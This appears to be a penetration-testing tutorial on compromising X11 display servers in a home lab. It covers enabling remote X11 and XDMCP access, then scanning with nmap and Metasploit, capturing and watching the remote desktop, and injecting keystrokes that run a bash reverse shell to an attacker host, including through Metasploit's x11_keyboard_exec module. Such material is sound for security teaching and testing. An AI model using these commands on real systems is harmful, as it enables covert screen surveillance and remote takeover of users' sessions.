Pentesting X11

The X Window System version 11 (commonly refered to as X11), is a protocol and software for managing graphical displays on Unix-like operating systems. It serves as the foundation for graphical user interfaces (GUIs) in these systems.

Although most UNIX-like systems are moving to Wayland, X11 is still common place in a lot of environments.

This article is looking at some ways of compromising an X11 system.


Configuring X11 to Allow Remote Connections

There are two ways we can connect to an X11 server, either directly via TCP ports in the 6000-60063 range, or using the X Display Manager Protocol (XDCMP) which runs on UDP port 177.

First, let’s configure Ubuntu 24.04 to allow remote X11 connections and enable XDCMP.

Modify the GDM configuration file (/etc/gdm3/custom.conf) to disable Wayland and allow listening on a TCP port.

# GDM configuration storage
#
# See /usr/share/gdm/gdm.schemas for a list of available options.

[daemon]
WaylandEnable=false

[security]
DisallowTCP=false

[XDMCPServer]
enabled=true

[xdmcp]
Enable=true
Port=177
DisplaysPerHost=10

Next, modify /usr/bin/Xorg to include a -listen tcp statement:

#!/bin/sh
#
# Execute Xorg.wrap if it exists otherwise execute Xorg directly.
# This allows distros to put the suid wrapper in a separate package.

basedir=/usr/lib/xorg
if [ -x "$basedir"/Xorg.wrap ]; then
	exec "$basedir"/Xorg.wrap "$@" -listen tcp
else
	exec "$basedir"/Xorg "$@" -listen tcp

Reboot, and your machine should now be listening on TCP port 6001 and UDP port 177.

user@ubuntu:~$ ss -ltpn
State             Recv-Q            Send-Q                        Local Address:Port                         Peer Address:Port            Process                                     
LISTEN            0                 4096                                0.0.0.0:6001                              0.0.0.0:*                users:(("Xorg",pid=2036,fd=10))            
LISTEN            0                 4096                             127.0.0.54:53                                0.0.0.0:*                                                           
user@ubuntu:~$ ss -nlup
State   Recv-Q   Send-Q     Local Address:Port      Peer Address:Port  Process  
UNCONN  0        0             127.0.0.54:53             0.0.0.0:*              
UNCONN  0        0          127.0.0.53%lo:53             0.0.0.0:*              
UNCONN  0        0                0.0.0.0:37296          0.0.0.0:*              
UNCONN  0        0                0.0.0.0:631            0.0.0.0:*              
UNCONN  0        0                0.0.0.0:35741          0.0.0.0:*              
UNCONN  0        0                0.0.0.0:5353           0.0.0.0:*              
UNCONN  0        0                      *:177                  *:*                   

Finally, we can use the xhost command to allow any client to connect to our server:

user@ubuntu:~$ xhost
access control enabled, only authorized clients can connect
SI:localuser:user
user@ubuntu:~$ xhost +
access control disabled, clients can connect from any host

Identifying X11 Instances Without Authentication

The NMap NSE script “x11-access” can be used to determine if we can connect to X11 without authentication:

nmap  10.101.89.72 --script x11-access  -Pn -n -sV
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-21 10:38 EDT
Stats: 0:00:06 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 0.00% done
Nmap scan report for 10.101.89.72
Host is up (0.0013s latency).
Not shown: 999 closed tcp ports (conn-refused)
PORT     STATE SERVICE VERSION
6001/tcp open  X11     X.Org (open)
Service Info: OS: Unix

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.80 seconds

The Metasploit module open_x11 can be used for the same purpose.

msf6 auxiliary(scanner/x11/open_x11) > show options

Module options (auxiliary/scanner/x11/open_x11):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOSTS   10.101.89.72     yes       The target host(s), see https://docs.metasploit.com/docs/
                                       using-metasploit/basics/using-metasploit.html
   RPORT    6001             yes       The target port (TCP)
   THREADS  1                yes       The number of concurrent threads (max one per host)


View the full module info with the info, or info -d command.
msf6 auxiliary(scanner/x11/open_x11) > run
[+] 10.101.89.72:6001     - 10.101.89.72 Open X Server (The X.Org Foundation)
[*] 10.101.89.72:6001     - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/x11/open_x11) > 

XDCMP Mapping

Simiarly, the NMap script xdmcp-discover can be used to gain further information about the system:

┌──(kali㉿kali)-[~]
└─$ sudo nmap -sU -A -sV -p 177 -Pn -n --script=xdmcp-discover  10.101.89.72 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-21 12:09 EDT
Nmap scan report for 10.101.89.72
Host is up (0.00066s latency).

PORT    STATE SERVICE VERSION
177/udp open  xdmcp   XDMCP (willing; status: Linux 6.8.0-38-generic)
| xdmcp-discover: 
|   Session id: 0x71FCEBA2
|   Authorization name: MIT-MAGIC-COOKIE-1
|_  Authorization data: 5a6932fbb4a31a8fbc32e85a276a3aaf
MAC Address: 00:0C:29:8C:A0:6D (VMware)
Too many fingerprints match this host to give specific OS details
Network Distance: 1 hop
Service Info: Host: ubuntu; OS: Unix

TRACEROUTE
HOP RTT     ADDRESS
1   0.66 ms 10.101.89.72


Connecting Using XDCMP

Xephyr can be used to connect to a host using XDCMP:

Xephyr -from 10.101.88.14 -query 10.101.89.72 -screen 800x600 :1

Remote Screen Viewing with X11

Once you have located an X11 server with open authentication, you can create a screenshot of the users desktop using the following commands:

xwd -root -screen -silent -display 10.101.89.72:1 > screenshot.xwd    
convert screenshot.xwd screenshot.png  

The application xwatchwin can be used to view the remote users desktop in real time. Unfortunatly, this application does not appear to be in the Kali repositories anymore. However, installing the Ubuntu package from here did work for me.

First, we need to use xwininfo to get the window ID for the root Window:

┌──(kali㉿kali)-[~]
└─$ xwininfo -root -display 10.101.89.72:1 

xwininfo: Window id: 0x36a (the root window) (has no name)

  Absolute upper-left X:  0
  Absolute upper-left Y:  0
  Relative upper-left X:  0
  Relative upper-left Y:  0
  Width: 3838
  Height: 1761
  Depth: 24
  Visual: 0x21
  Visual Class: TrueColor
  Border width: 0
  Class: InputOutput
  Colormap: 0x20 (installed)
  Bit Gravity State: ForgetGravity
  Window Gravity State: NorthWestGravity
  Backing Store State: NotUseful
  Save Under State: no
  Map State: IsViewable
  Override Redirect State: no
  Corners:  +0+0  -0+0  -0-0  +0-0
  -geometry 3838x1761+0+0

Then we just need to run xwatchwin with this ID:

xwatchwin 10.101.89.72:1 -w 0x36a

You should get a fullscreen display of the target desktop. Bear in mind, the refresh speed will probably be quite slow.

Injecting Remote Commands

The xvkbd command can be used to send commands to the remote system that will be executed in the context of the logged on user. The below example shows a simple bash reverse shell being executed.

┌──(kali㉿kali)-[~]
└─$ xvkbd -no-repeat -no-sync -no-jump-pointer -remote-display 10.101.89.72:1 -text "/bin/bash -i > /dev/tcp/10.101.88.14/8000<&1 2>&1\r"
xvkbd: Mode_switch not available as a modifier
xvkbd: although ISO_Level3_Shift is used instead, AltGr may not work correctly

┌──(kali㉿kali)-[~]
└─$ nc -nvlp 8000
listening on [any] 8000 ...
connect to [10.101.88.14] from (UNKNOWN) [10.101.89.72] 37700
user@ubuntu:~$ id
id
uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),114(lpadmin)

Metasploit also incudes the module x11_keyboard_exec. Aside from setting the target port, you also need to ensure the target value is set, since Ubuntu does not include Xterm by default.

msf6 exploit(unix/x11/x11_keyboard_exec) > show options

Module options (exploit/unix/x11/x11_keyboard_exec):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   CHOST                       no        The local client address
   CPORT                       no        The local client port
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port]
                                         [...]
   RHOSTS     10.101.89.72     yes       The target host(s), see https://docs.metasploit.com/doc
                                         s/using-metasploit/basics/using-metasploit.html
   RPORT      6001             yes       The target port (TCP)
   TIME_WAIT  5                yes       Time to wait for opening GUI windows in seconds


Payload options (cmd/unix/reverse_bash):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.101.88.14     yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   1   gnome-terminal (Ubuntu)



View the full module info with the info, or info -d command.

msf6 exploit(unix/x11/x11_keyboard_exec) > run

[*] Started reverse TCP handler on 10.101.88.14:4444 
[*] 10.101.89.72:6001 - 10.101.89.72:6001 - Register keyboard
[*] 10.101.89.72:6001 - 10.101.89.72:6001 - Opening "Run Application"
[*] 10.101.89.72:6001 - 10.101.89.72:6001 - Waiting 5 seconds...
[*] 10.101.89.72:6001 - 10.101.89.72:6001 - Opening gnome-terminal
[*] 10.101.89.72:6001 - 10.101.89.72:6001 - Waiting 5 seconds...
[*] 10.101.89.72:6001 - 10.101.89.72:6001 - Typing and executing payload
[*] Command shell session 1 opened (10.101.88.14:4444 -> 10.101.89.72:39528) at 2024-07-21 11:03:24 -0400

whoami
user
hostname
ubuntu

In Conclusion

Although X11 is largly considered obsolete, there are still open servers out there that are directly connected to the Internet. As of today, searching Shodan for filter “port:6000 x11” yields 24,691 results.